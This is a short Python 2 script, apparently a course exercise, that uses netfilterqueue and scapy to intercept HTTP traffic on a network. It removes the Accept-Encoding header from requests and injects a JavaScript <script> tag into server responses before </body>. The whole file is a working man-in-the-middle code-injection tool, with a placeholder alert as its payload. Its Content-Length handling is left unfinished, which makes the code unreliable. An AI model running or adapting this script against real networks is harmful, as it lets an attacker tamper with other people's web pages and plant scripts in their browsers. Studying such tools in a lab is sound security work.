
import netfilterqueue
import scapy.all as scapy
import re


def set_load(packet, load):
    packet[scapy.Raw].load = load
    # deleting some fields of IP and TCP header
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet


def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.Raw):
        load = scapy_packet[scapy.Raw].load
        if scapy_packet[scapy.TCP].dport == 80:
            print "[+] Request"
            # substituting nothing in place of text matched by regex i.e removing accept coding part from load part of request
            load = re.sub(
                "Accept-Encoding:.*?\\r\\n", "", load)

        elif scapy_packet[scapy.TCP].sport == 80:
            print "[+] Response"
            # print scapy_packet.show()
            # We cna use replace method on any string to replace substring with another substring
            # replacing </body> with my javascript code
            load = load.replace(
                "</body>", "<script>alert('test');</script></body>")
            # looking for content length using regex
            content_length_search = re.search("Content-Length:\s\d*", load)
            if content_length_search:
                # first thing to match out of the whole string
                content_length = content_length_search.group(0)
                print "content_length"

        if load != scapy_packet[scapy.Raw].load:
             # using the set_load function to create a new packet using the modified_load
            new_packet = set_load(scapy_packet, load)
            # for accepting this new_packet we have to set the payload of new_packet
            packet.set_payload(str(new_packet))
    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()
